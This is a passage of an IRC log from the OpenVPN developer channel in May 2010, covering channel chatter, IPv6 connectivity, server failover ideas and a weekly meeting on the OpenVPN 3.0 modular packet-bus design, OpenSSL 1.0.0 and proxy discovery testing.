while as the updater script had a annoying "bug", gotta fix that 09:55 -!- y0tta [~y0tta@ip12.208-100-1.static.steadfast.net] has joined #openvpn-devel 10:31 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:09 -!- waldner [~4f1237b9@gateway/web/freenode/x-boaxqykndxdmmzba] has joined #openvpn-devel 12:18 -!- waldner [~4f1237b9@gateway/web/freenode/x-boaxqykndxdmmzba] has quit [Quit: Page closed] 13:16 -!- y0tta [~y0tta@ip12.208-100-1.static.steadfast.net] has quit [Quit: y0tta] 13:18 -!- dazo_h [~dazo@ip4-83-240-69-215.cust.nbox.cz] has joined #openvpn-devel 13:21 < dazo_h> !wishlist 13:21 < vpnHelper> dazo_h: "wishlist" is http://ovpnforum.com/viewforum.php?f=10 for the openvpn wishlist 13:30 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 13:40 -!- dazo_h [~dazo@ip4-83-240-69-215.cust.nbox.cz] has quit [Quit: Leaving] 16:20 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 16:21 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 16:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:21 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Client Quit] 17:05 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 17:11 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 17:49 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 20:19 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 240 seconds] 20:33 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 23:41 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 245 seconds] --- Day changed Mon May 10 2010 02:16 -!- dazo_afk is now known as dazo 03:48 -!- d12fk [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 03:51 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 05:53 -!- ribasushi [~rabbit@ip-109-91-187-9.unitymediagroup.de] has quit [Ping timeout: 240 seconds] 06:08 -!- ribasushi [~rabbit@ip-109-91-187-9.unitymediagroup.de] has joined #openvpn-devel 08:03 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 08:45 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 240 seconds] 09:12 -!- d12fk [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 09:13 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 09:41 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:01 -!- Bloodsong [~Nimbus@ip-66-159-116-60.dsl.csolve.net] has joined #openvpn-devel 11:26 -!- Bloodsong [~Nimbus@ip-66-159-116-60.dsl.csolve.net] has quit [Ping timeout: 246 seconds] 11:47 -!- dazo is now known as dazo_afk 13:25 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:25 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:24 -!- Knio [~Knio@174.0.88.23] has joined #openvpn-devel 18:21 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 19:48 -!- ribasushi [~rabbit@ip-109-91-187-9.unitymediagroup.de] has quit [Read error: Operation timed out] 19:53 -!- ribasushi [~rabbit@ip-109-91-187-9.unitymediagroup.de] has joined #openvpn-devel 21:30 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has joined #openvpn-devel 22:14 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 248 seconds] 22:16 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel --- Day changed Tue May 11 2010 00:44 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 01:10 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:15 -!- dazo_afk is now known as dazo 03:24 -!- dazo is now known as dazo_afk 04:15 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has quit [Ping timeout: 264 seconds] 06:38 -!- dazo_afk is now known as dazo 09:46 < ecrist> dazo: did the weekly build work correctly this week? 09:46 <@dazo> ecrist: ahh! Yes, it did! I upgraded on my box yesterday ... and it built just fine! 09:47 < ecrist> excellent. 09:47 < ecrist> I'll wrap up a port release tomorrow and ship it. 09:47 * dazo is not going to blame ecrist if the process has died since yesterday :-P 09:47 <@dazo> cool :) 09:48 < ecrist> I'm also going to create a symlink on my ftp servers at pub/openvpn/ to get to the tarballs 09:48 <@dazo> openvpn-devel-latest.tar.gz? 09:48 <@dazo> ahh 09:48 * dazo understood now 09:51 < ecrist> that should propagate to my master ftp in the next 10 minutes or so 10:27 -!- dazo is now known as dazo_afk 10:50 -!- dazo_afk is now known as dazo 11:36 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:53 -!- dazo is now known as dazo_afk 15:40 < krzee> is there still community meetings or just dev meetings? (ive only been showing up for dev meetings) 15:40 < ecrist> only dev meetings, though I think there was a second meeting last week 15:40 < ecrist> some sort of steering comitte 15:40 < ecrist> e 15:46 < krzee> werd 16:45 -!- astrophy [~astrophy@95.211.87.138] has joined #openvpn-devel 16:59 -!- astrophy [~astrophy@95.211.87.138] has quit [Ping timeout: 276 seconds] 17:13 -!- astrophy [~astrophy@67.159.28.162] has joined #openvpn-devel 18:39 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 21:10 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 22:29 < ecrist> I was going to roll another openvpn-devel port tonight, but my build box is down, so it'll have to wait. 22:30 < ecrist> dazo_afk: I have it from Scott Ullrich, lead dev for pfSense, they are now using my openvpn-devel port in pfSense by default. --- Day changed Wed May 12 2010 02:32 < cron2_> ecrist: cool 02:33 < cron2_> ecrist: btw: your IPv6 is still broken. Can I help debug it? 02:33 < cron2_> (it's broken in nasty ways, just timing out - so IPv6-enabled clients will run into >60 second delays when accessing www.secure-computing.net) 02:35 -!- cron2_ is now known as cron2 02:35 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:46 -!- dazo_afk is now known as dazo 02:48 <@dazo> ecrist: openvpn-devel default in pfSense!? That's awesome! That's a pretty good test for us! 07:00 < ecrist> cron2: I pulled out my IPv6 - the HE tunnel is broken and I'll have native IPv6 from Comcast in the next 30 days or so, so I've not bothered to fix it. 07:01 < ecrist> I pulled the v6 address out of DNS for my web server to remedy this for now. 07:47 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 245 seconds] 07:51 -!- astrophy [~astrophy@67.159.28.162] has quit [Quit: Bye] 08:40 <@cron2> ecrist: yes, this is a good plan (removing the AAAA record for the time being). 08:41 <@cron2> comcast IPv6 is cool :-) 08:41 * cron2 is really looking forward to see this happen 09:04 -!- Bloodsong [~Nimbus@70.50.177.230] has joined #openvpn-devel 09:31 <@dazo> ecrist: HE tunnel no good? 09:31 <@dazo> is there any other IPv6 tunnels worth considering? 09:31 * dazo has begun to look at an IPv6 tunnel 09:37 < ecrist> dazo: HE is good, it's just something on my setup that's screwed up and I've decided I don't care, since I get native IPv6 soon. 09:37 <@dazo> ahh ... oki :) 09:37 < ecrist> HE is pretty stable and fast 09:40 <@dazo> I'm trying to figure out a way how "to get quicker connection" from Czech to Norway ... I got pretty good connection to Germany where HE got a node ... and would hope IPv6 could give a nice route to Norway .... just need to configure a IPv6 node in Norway where I want the speed (and it seems that's doable as well) ... 09:40 * dazo got a 16Mbit connection to Germany ... but when going to Norway it drops to 4-5Mbit 09:41 * ecrist has no pity 09:41 <@dazo> :-P 09:41 < ecrist> I'm happy to have my 2Mbit connection in the states 09:42 <@dazo> gah 09:43 <@dazo> I believe I read a report that in Norway, the average citizen got 4Mbit at home .... There are providers coming up with plans up to 40Mbit nowadays 09:43 <@dazo> Czech is a bit "worse" ... staying below 20Mbit 09:43 < ecrist> bidirectional, or just download? 09:44 <@dazo> Download ... it's usually ADSL based .... but my line in Czech is a 16 down, 2Mbit up 09:44 < ecrist> oh, then I don't feel so bad. 09:45 < ecrist> I've got 16 down, 2 up, and I can get up to 50 down, 10 up 09:45 <@dazo> Norway for the 40Mbit ... they talk about up to 10Mbit uplink 09:46 <@dazo> basically they networks in Norway is upgraded due to IPTV 11:09 <@openvpn2009> I get 30Mbit down at home 11:09 <@openvpn2009> and 10Mbit up 11:09 <@openvpn2009> =) 11:09 <@openvpn2009> CA, Bay Area 11:26 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:52 <@dazo> :) 12:13 -!- ribasushi [~rabbit@ip-109-91-187-9.unitymediagroup.de] has quit [Remote host closed the connection] 12:24 -!- dazo is now known as dazo_afk 15:12 -!- Bloodsong [~Nimbus@70.50.177.230] has quit [Quit: Leaving] 16:20 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 18:51 -!- astrophy [~astrophy@95.211.0.238] has joined #openvpn-devel 19:17 -!- astrophy [~astrophy@95.211.0.238] has quit [Quit: Bye] 20:47 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 22:27 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 276 seconds] 22:53 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel --- Day changed Thu May 13 2010 03:57 <@cron2> dazo: where are you located? .cz? 04:02 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 04:04 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 05:39 -!- dazo_afk is now known as dazo 08:05 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Quit: Leaving] 08:29 <@dazo> cron2: I'm in Brno 08:29 <@dazo> in .cz, yes 08:43 < ecrist> \o 08:55 <@dazo> o/ 09:41 <@cron2> dazo: mmmh. No idea about IPv6 ISPs in .cz, but I can try to ask around... 09:42 <@dazo> cron2: I have some colleagues who pipe stuff via HE in Germany and get better connections abroad on IPv6 stuff, so I think that should work fine 09:44 < ecrist> dazo: what would need to happen to create a 'state' within openvpn to allow for failover between openvpn servers? 09:44 <@dazo> ecrist: well, you'll need some kind of clustering integration which would pass over the encryption keys ... or else the tunnel needs to be renegotiated 09:45 < ecrist> it would be ideal to not have to renegotiate. 09:45 <@dazo> ecrist: it's doable, but the SSL layer needs to be re-implemented ... and we need to pull in some extra libraries for that 09:45 < ecrist> it's a highly requested feature here amongst BSDers 09:46 <@dazo> Would need to implement support for openais to manage that 09:46 < ecrist> something similar to pfsync 09:46 <@dazo> that would then also open up for complete load balancing 09:46 <@cron2> dazo: he.net is not bad, especially as they are really well connected in the IPv6 world 09:46 <@cron2> dazo: it's not just ssl state, it's also "which IP address is where" and that needs to be dynamically "route"'d to the kernel 09:46 <@dazo> cron2: sounds good :) I see I seriously need a weeks holiday with my wife out of the flat :-P 09:47 <@dazo> cron2: that's true!! ... I didn't think about the IP addr 09:47 < ecrist> we have also considered a generic application state daemon api which would allow any application to pass it's state data to the api, and the daemon would sync that between cluster nodes. 09:47 <@dazo> ecrist: that's basically what openais does 09:48 < ecrist> oh, sweet 09:48 * ecrist reads 09:49 <@dazo> openais allows you to register a number of nodes in a cluster and share data between the nodes, making them all in-sync 09:49 < ecrist> dazo: is this something you guys could get going in 2.x, or would it need to wait for 3.x? 09:49 <@dazo> and it communicates via multicast addresses 09:49 <@dazo> ecrist: if 2.x we're talking 2.5 or later ... 09:49 < ecrist> time line? 09:50 <@dazo> ecrist: heh ... that's not possible for me to say now .... we don't even know any timeline for the 3.x ... and 2.x releases would depend on that as well 09:51 < ecrist> :\ 09:51 < ecrist> I would say it's one of the most requested features. 09:51 <@cron2> ecrist: clustering? 09:52 < ecrist> I would implement it myself, but I know nothing about C, and could not immerse myself enough to write anything of quality 09:52 <@cron2> ecirst: or load-sharing? 09:52 < ecrist> cron2: both 09:52 < ecrist> the failover, specifically, without renegotiation. 09:52 <@cron2> ecrist: I would consider this as one of the hardest open issues 09:52 < ecrist> the load-sharing would/could be an added benefit. 09:53 <@cron2> for our setup, this would certainly be a "nice to have", but I see this from the IP routing side, and it's fairly complicated 09:53 <@dazo> we're having a tremendous amount of work in front of us ... and to get things going in a sensible direction, we should soon start looking at the scratch work of 3.0 ... when the framework is ready, we can start picking out parts from the 2.1 code base adopting it to 3.0 modules .... and then rework the API in 2.1 so that 2.x code can be shared better with 3.0 ... When the SSL and network layer modules are working, we can start looking at 09:53 <@dazo> clustering it 10:07 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Disconnected by services] 10:09 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 10:37 < krzee> sounds like good stuff 10:37 < ecrist> krzee, did you HUP vpnHelper? 10:38 < krzee> nope, looks like services made it disconnect 11:34 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:27 -!- dazo is now known as dazo_afk 12:43 -!- dazo_afk is now known as dazo 12:59 <@raidz> Hey guys I will check on Samulis and James status 12:59 <@dazo> raidz: Samuli will not join afaik, so I'll be handling it today 13:00 <@raidz> oh ok, perfect, he is out of town, right? 13:00 <@dazo> raidz: yeah, travelling and he was not sure about connectivity 13:00 <@raidz> I will try and get in touch with James then 13:00 <@dazo> thx! :) 13:01 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:02 <@dazo> Hi jamesyonan! 13:02 < jamesyonan> hi 13:02 < krzee> hello james! 13:02 < jamesyonan> hi everyone 13:02 * krzee smells a meeting 13:02 <@dazo> todays agenda is not too long ... and I think we can spend a little bit long time than planned in the agenda 13:02 <@dazo> the agenda is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-05-13 13:02 < vpnHelper> Title: Topics-2010-05-13 – OpenVPN (at community.openvpn.net) 13:03 <@dazo> a little longer time on the roadmap, I tried to say 13:04 <@dazo> So lets start on the roadmap ... everyone ready for that? https://community.openvpn.net/openvpn/wiki/RoadMap 13:04 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 13:05 <@dazo> If we focus on the OpenVPN 3.0 Design and implementation ... that's probably the best place to start right now 13:05 <@dazo> jamesyonan: does the ascii art there match your idea of 3.0? 13:06 < jamesyonan> basically yes 13:07 <@dazo> Is there something you would like different ... or would like to add? 13:07 <@cron2> hi 13:07 <@cron2> sorry for being late 13:08 * krzee canes cron2 ;] 13:08 <@dazo> cron2: no worries :) good you could come! 13:10 <@dazo> If not ... let's have a little look on what types of modules we need to support in 3.0 13:11 <@dazo> In the Design and Implementation section ... I've suggested a few modules .... SSL, Authentication, Logging, Network & Protocol ... I might have forgotten some 13:12 < jamesyonan> I think the diagram is fine -- the challenge will be to define the details of the user-space network stack API, packet bus, and event system. 13:12 <@dazo> yes, I've been thinking about that 13:13 <@dazo> and I think we need to align our perceptions of what a user-space network stack is ... 13:14 -!- reg9009 [~chatzilla@ip-95-223-199-86.unitymediagroup.de] has joined #openvpn-devel 13:14 < reg9009> hi all... 13:14 <@dazo> I'm thinking about user-space as what's users run ... vs. kernel space is what the OS runs ... and I sense jamesyonan's meaning is a bit different 13:16 < jamesyonan> No, I mean user-space in the sense of running in user mode as opposed to kernel mode 13:16 <@dazo> Oki ... then I can probably explain a bit more the drawing 13:17 <@dazo> the kernel-space on this drawing is actually the top and the bottom of the "core engine" 13:18 <@cron2> yep 13:18 <@dazo> the top part ... is where you have tcp/udp sockets read/writing from/to a remote host ... the core engine takes this data and places it on an internal bus, tagging it as "socket data" 13:19 <@cron2> mmmh 13:19 <@dazo> the bottom part ... is where the "core engine" takes traffic tagged "device data" (need a better name) ... and moves data from the tun/tap device to/from the internal bus 13:19 <@dazo> what's happening in the middle ... is basically the user-space part 13:21 <@dazo> so what typically would happen ... data goes from the bus as "socket data" to the SSL module, where it would decrypt data ... data from the message bus tagged as "ready for socket", would go through the SSL module to be encrypted 13:21 < jamesyonan> my conception is that the actors on the packet bus fall into certain categories: producer, consumer, encapsulator, router, mangler, and filter 13:21 < jamesyonan> for example a tun/tap interface is a producer/consumer 13:22 <@dazo> yes, that's right ... just as the socket side would be another set of producer/consumer ... right? 13:22 < jamesyonan> the OpenVPN protocol is an encapsulator/deencapsulator 13:22 < jamesyonan> the routing engine is just a router 13:22 < jamesyonan> a packet filter (like a firewall implementation) would be a filter 13:22 <@dazo> router, mangler, filter would go into the "Network & Protocol" module 13:23 <@cron2> ... or multiple such modules 13:23 <@dazo> true! 13:23 <@dazo> cron2: exactly! 13:23 <@dazo> I see that routing, mangler, filter, etc ... all of them are individual modules which are hooked up together in "serial" 13:23 <@dazo> but they all belong to the group "Network & Protocol" 13:24 <@dazo> the encapsulation/deencapsulation is what the top part would do ... it would take the udp/tcp packets, parse them into the local bus 13:30 < jamesyonan> one of the interesting things about existing kernel mode networks stacks, is that they are generally kernel-mode in name only, because they don't do things that force them to run in kernel space like access hardware directly, handle interrupts, or deal with process scheduling 13:31 -!- reg9009 [~chatzilla@ip-95-223-199-86.unitymediagroup.de] has left #openvpn-devel [] 13:31 < jamesyonan> so it's possible to take a kernel mode network stack and build it to run in userspace, as the user-mode linux project has demonstrated 13:32 -!- reg9009 [~chatzilla@ip-95-223-199-86.unitymediagroup.de] has joined #openvpn-devel 13:32 <@dazo> but that again will require some kernel modules, which hooks into the kernel to give the right access and prepare the kernel for this .... it's is not completely transparent, afaik ... 13:34 <@dazo> you have the network queues, which only kernel-space can read/write to ... but that happens from user-space via read/write syscalls on the defined sockets of the application 13:35 < jamesyonan> right -- I'm not advocating that we build this by forking user-mode linux, just that there's a huge amount amount of networking experience embedded in the development choices that have been made when designing open source network stacks such as linux 13:35 <@cron2> jamesyonan: isn't UML basically a special *kernel* that knows "not to talk to real hardware"? 13:36 < jamesyonan> cron2: yes, exactly 13:36 <@cron2> mmmh, so the network stack itself still pretty much runs in "kernel space", even if that kernel is a userland process 13:36 <@dazo> that's basically my point 13:36 < jamesyonan> my point is that the network stack in user-mode linux is not altogether very different from the user-space network stack we are planning for OpenVPN 13:36 <@cron2> but yes, taking a close look at existing network stacks isn't going to harm 13:37 -!- openvpn2009 [pandora@matrix.openvpn.org] has quit [Ping timeout: 264 seconds] 13:38 <@dazo> as long as we don't plan any kernel changes, openvpn will need to run completely in user-space ... and to my knowledge, we can then only access the kernel space network layers via sockets ... so I'm not sure how we would be able to pull this off otherwise? 13:39 < reg9009> would it be really a problem to continue to communicate via sockets? 13:39 <@cron2> if we want this to be portable across OSes, sockets is the way to go 13:40 <@cron2> "standard TCP/UDP sockets", that is 13:40 < jamesyonan> of course, we will continue to communicate via sockets. sockets would be used by producer/consumer modules on the packet bus. 13:40 < reg9009> ok. So basically, new OpenVPN would provide some kind of "hooks" where plugins can intercept and manipulate data (for whatever reason/function)? 13:41 < jamesyonan> right 13:42 -!- openvpn2009 [pandora@matrix.openvpn.org] has joined #openvpn-devel 13:42 -!- mode/#openvpn-devel [+o openvpn2009] by raidz 13:43 -!- openvpn2009 is now known as Guest12047 13:43 <@dazo> I don't think I quite follow how this would work out .... jamesyonan, can you explain the route a network packet would go? Presume the tunnel is established ... you have application X sending a network packet to application Y on the other side of the tunnel ... how would that happen? 13:43 -!- Guest12047 is now known as openvpn2009 13:44 < jamesyonan> okay, on X's machine they send a packet to 10.1.2.3 13:45 < jamesyonan> kernel network stack routes to the tun interface 13:45 < jamesyonan> OpenVPN tun interface (packet bus producer) gets the packet and puts it on the bus 13:46 < jamesyonan> for normal OpenVPN usage the bus might be configured like this tun -> compress -> openvpn_encrypt_encapsulate -> socket 13:47 < waldner> sounds more or less like it is now 13:47 < jamesyonan> then the packet is sent to the other machine and the reverse process is performed 13:47 <@dazo> jamesyonan: exactly! you are pretty much explaining well the process in my draft 13:47 <@cron2> on a p2mp server, it would be tun -> router -> filter -> compress -> encrypt+encapsulate -> socket 13:47 <@cron2> (or filter->router, or filter->router->filter :) ) 13:48 < jamesyonan> this is a lot like the way OpenVPN works now. The only difference is that now, the "bus" is hardcoded. With the planned development, the bus would be become configurable, and the actors on the bus would be plug-in modules. 13:48 <@cron2> and possibly --> traffic shaper -> 13:48 < reg9009> and much more ;) 13:48 <@dazo> okay, then we are on the same page :) 13:50 <@dazo> but some of the modules will need to be placed in a chain, in a particular order, depending on the traffic direction 13:51 < jamesyonan> right, the modules would definitely be chained 13:52 <@dazo> and basically ... if you have a openvpn core without any plug-ins, it would simply just pass the traffic straight through from socket to tun device and vice versa ... add a module, and it begins to investigate and possibly change/modify the data before it goes to the next module 13:52 < krzee> this is much how freeswitch works in the ip telephony world 13:53 < jamesyonan> right -- if you had an openvpn core with only producer/consumer modules 13:53 <@dazo> yes 13:53 < reg9009> I think that's a solvable problem. The question is which type of hooks will be available. 13:53 < reg9009> better, would be available. 13:53 <@dazo> so the core would need some categories ... and some priorities for the module, to figure out which module the packet should go to next 13:54 < reg9009> This would determine the type of plugins which could be written... 13:54 < waldner> would modules also allow to choose a different transport from plain TCP or UDP? like eg tunnelling over ICMP, or over HTTP, etc. 13:54 <@dazo> waldner: yes, possibly 13:54 <@cron2> waldner: that would be a different type of "socket" interface module, then 13:54 <@cron2> but I don't see "why not" 13:54 < jamesyonan> probably the producer/consumer would determine the transport 13:54 < waldner> yes, but I guess it could be abstracted behind a module 13:55 <@cron2> for self-testing we might want to have producer-from-file and consumer-to-file modules 13:55 <@cron2> (did I mention that I want to see more automated testing? *duck*) 13:56 <@dazo> cron2: which reminds me of the "IP over Homing Pigeon" project :) 13:56 < krzee> LOL 13:56 <@dazo> heh 13:57 < krzee> just build a homing pigeon module! 13:57 < jamesyonan> it's amazing the crazy kinds of transport protocols people ask for :) years ago, someone wanted to adapt OpenVPN to use AOL IM as the transport protocol. 13:57 < krzee> hahahah 13:57 <@dazo> jamesyonan: okay ... but I think we have a common understanding now ... want me to go a bit deeper on the draft I wrote to next week, to add this new info? 13:57 < jamesyonan> sure 13:57 < krzee> (although i do admit, i use other apps for transport over icmp/DNS) 13:58 <@dazo> krzee: http://en.wikipedia.org/wiki/IP_over_Avian_Carriers 13:58 < vpnHelper> Title: IP over Avian Carriers - Wikipedia, the free encyclopedia (at en.wikipedia.org) 13:58 <@dazo> (it's already done) 13:58 <@dazo> jamesyonan: good, I'll do that 13:58 < waldner> if an extensible system is in place, and can provide a consistent API, then people could theoretically write a module to transport data over (almost) anything 13:58 <@dazo> krzee: you had a question ... we're beginning to run out of time, so I'll give you the stage now 13:59 < waldner> which would bi a kind of "holy grail" or tunnelling 13:59 < krzee> ok 13:59 <@dazo> waldner: yupp :) 13:59 < waldner> and way cool, if you ask me 13:59 < krzee> this will be quite the change of subject 13:59 < krzee> jamesyonan, not sure if you know, but in ##openvpn we dont support AS 13:59 < krzee> its not that we dont want to help you get $, we sure wouldnt mind helping with that 13:59 < krzee> its that AS uses different style configs and logs look different 14:00 < krzee> if you were to make AS use/make normal configs, and log more normal (by normal i mean like opensource openvpn) we would happily help those who come using AS 14:00 < krzee> not sure if you care to, but i wanted to put that out there 14:01 < krzee> i clearly cant speak for everyone, but thats the situation for me and ild be surprised if it wasnt similar across the board for those who regularly help on IRC 14:01 < jamesyonan> AS tries to solve a different problem than what we usually talk about on the openvpn community forums 14:02 < jamesyonan> I'm not sure it makes sense to mix AS and openvpn community forums 14:02 < krzee> right, but if it solved it in a way thats similar in the background with opensource openvpn, we could help those users who have issues 14:03 < krzee> ok cool 14:03 < krzee> just wanted to make sure that was a conscious decision by you 14:03 < jamesyonan> AS is a commercially supported product, so it's better if AS users are directed towards existing AS forums 14:04 < krzee> cause you have a lot of free support for the OS version, figured maybe youd wanna take advantage of that for your paid version 14:04 < krzee> cool, whats the existing AS forum then? ill link to it in !AS on my bot 14:05 <@dazo> that sounds like a sensible solution then, that we can at least guide the users somewhere than just "reject" them 14:05 < krzee> exactly 14:05 < krzee> currently its just "we dont support AS" 14:05 < ecrist> if it's not now, it used to be in /topic 14:05 <@raidz> krzee: we don't have a forum for as support, however you could direct users to: http://openvpn.net/index.php/access-server/support-center.html 14:06 < vpnHelper> Title: Support Center (at openvpn.net) 14:06 < jamesyonan> I don't know if Andrew Proctor is online, but you can reach him at andrew at openvpn.net -- he coordinates AS support 14:06 <@raidz> I am here :-) 14:06 < krzee> ecrist, its in the onjoin in CAPS, often ignored tho ;] 14:06 < reg9009> by the way, we've been talking about dynamic iroute changes last week... 14:06 <@raidz> and out live chat can be found on this page: http://openvpn.net/index.php/access-server/quick-start-guide.html 14:06 < vpnHelper> Title: Quick Start Guide (at openvpn.net) 14:07 < reg9009> I could find a volunteer for it, though his last C experiences were couple of years ago. 14:07 <@dazo> jamesyonan: I have one more thing, if you have time ... I know we're exceeding the time, so I want to be brief ... 14:07 < reg9009> sorry to intercept... 14:07 < krzee> reg9009, interesting! 14:07 <@dazo> reg9009: if you find someone who is willing to write patches, defend them and make sure they are in shape for inclusion ... please do! 14:08 < reg9009> well, we try our best, but be gentile... ;) 14:08 <@dazo> jamesyonan: it's about OpenSSL 1.0.0 .... http://thread.gmane.org/gmane.network.openvpn.devel/3091 14:08 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:09 < reg9009> We're doing good progress. We established communcations and just need to manipulate iroute table. 14:09 < reg9009> That should be working by next week, at which we would have a prototype. 14:09 < reg9009> Unfortunately only for linux, yet. 14:09 <@dazo> jamesyonan: do you know about this issue? and if you're got some pointers, I'm more than willing to dig into this 14:10 < jamesyonan> No, I haven't looked at OpenSSL 1.0 (I 14:10 < jamesyonan> I'm still on 0.9.8 14:11 < jamesyonan> Probably take a look at the release notes and see what's changed. It looks like some functions prototypes changed. 14:11 <@dazo> jamesyonan: yes, I just wanted to be sure I didn't begin researching for known info already ... I'll have a look then 14:12 <@dazo> I think that concludes this meeting .... unless someone else got something urgent burning? 14:12 < jamesyonan> actually -- one thing... 14:12 <@cron2> OpenVPN *works* with OpenSSL 1.0.0, it's just compiler warnings 14:13 <@dazo> yes 14:13 <@dazo> jamesyonan: go ahead! :) 14:13 < jamesyonan> does anyone have access to a LAN environment that defines WPAD proxy settings? 14:13 <@cron2> the windows cross-compile thing uses 1.0.0, because openssl 0.9.x is very cross-compile-unfriendly 14:13 <@cron2> jamesyonan: no, sorry 14:13 <@dazo> jamesyonan: I'd send a mail to JJK ... he might know something 14:14 < jamesyonan> I've been working on adding WPAD support to the OpenVPN windows build, but I don't have an environment to test it. 14:14 < reg9009> yes, I do... 14:14 < krzee> not i 14:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has left #openvpn-devel [] 14:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:15 < jamesyonan> cool -- would you mind testing a beta client that uses the new proxy discovery code? 14:16 < reg9009> no problem... 14:17 < jamesyonan> cool -- email me at jim@yonan.net and we can coordinate 14:19 <@dazo> Thanks a lot! And the next meeting is next week, same place, same channel ... and mattock will hopefully be back too :) 14:19 < jamesyonan> bye everyone 14:19 <@dazo> bye! 14:19 < krzee> bye james! 14:19 <@cron2> bye :) 14:20 < reg9009> bye 14:22 < reg9009> dazo: would you be willin to dosome code review first before we submit a patch to the mailing list (or anybody else, of course)? 14:23 <@dazo> reg9009: sure, send it my way, and I'll have a look at it! 14:23 < krzee> reg9009, that could be a very nice feature 14:24 < krzee> would it basically be like iroute adaptive in a ccd? 14:24 < reg9009> yep... 14:25 < krzee> that would be a perm solution for those clients who for some lame reason send their data with src IP of eth0 device 14:25 < reg9009> as soon as a route is palced into kernel (or deleted), we check if the next hop is in the client list of OpenVPN 14:25 < krzee> however, theres a few reasons it wouldnt help too much with LANs behind the client 14:25 < krzee> a) the server doesnt push routes to already connected clients 14:25 < reg9009> if it is, we update the iroute table with the new information... 14:25 < krzee> b) even if it did, you couldnt lower permissions when using it 14:26 < krzee> and an iroute without matching "route" doesnt do much 14:26 < krzee> c) server couldnt run with lowered permissions either 14:26 < krzee> (to add corresponding "route") 14:26 < reg9009> it only works together with dynamic routing protocols (bgp, in our case) 14:27 < krzee> oh, i gotchya 14:27 < krzee> so RIP setups wouldnt need ptp tunnels 14:27 < reg9009> rip setups aren't suitbale for this. 14:27 < reg9009> ospf should work, though... 14:28 < krzee> ya, that would be cool, and would help with the future idea here: http://ovpnforum.com/viewtopic.php?f=10&t=141 14:28 < vpnHelper> Title: OpenVPN Forum View topic - Idea for direct connections (at ovpnforum.com) 14:28 < krzee> (i think) 14:28 < krzee> meh, maybe not... i only got 3 hrs sleep 14:28 < reg9009> the problem we had is that if a new network behind a vpntunnel is setup, even all routers know the new net in kernel routes 14:29 < reg9009> we can't reach them because iroute table within OpenVPn doesn't get noticed of that new network and doesn't pass traffic... 14:30 < reg9009> ;) 14:30 < krzee> reg9009, sounds like thats the same issue with using RIP to build a mesh... http://www.secure-computing.net/wiki/index.php/OpenVPN/RIPRouting 14:30 < vpnHelper> Title: OpenVPN/RIPRouting - Secure Computing Wiki (at www.secure-computing.net) 14:30 < reg9009> but, 14:30 < reg9009> yes, it is... 14:30 <@dazo> !logs 14:31 < vpnHelper> dazo: "logs" is http://secure-computing.net/logs/%23openvpn-devel.log updated every 30 minutes. 14:31 < reg9009> but, as OpenVPN got a connection to the clients, dynamic push of new routes to the client which puts them into kernel there should be possible 14:31 < krzee> to the connecting 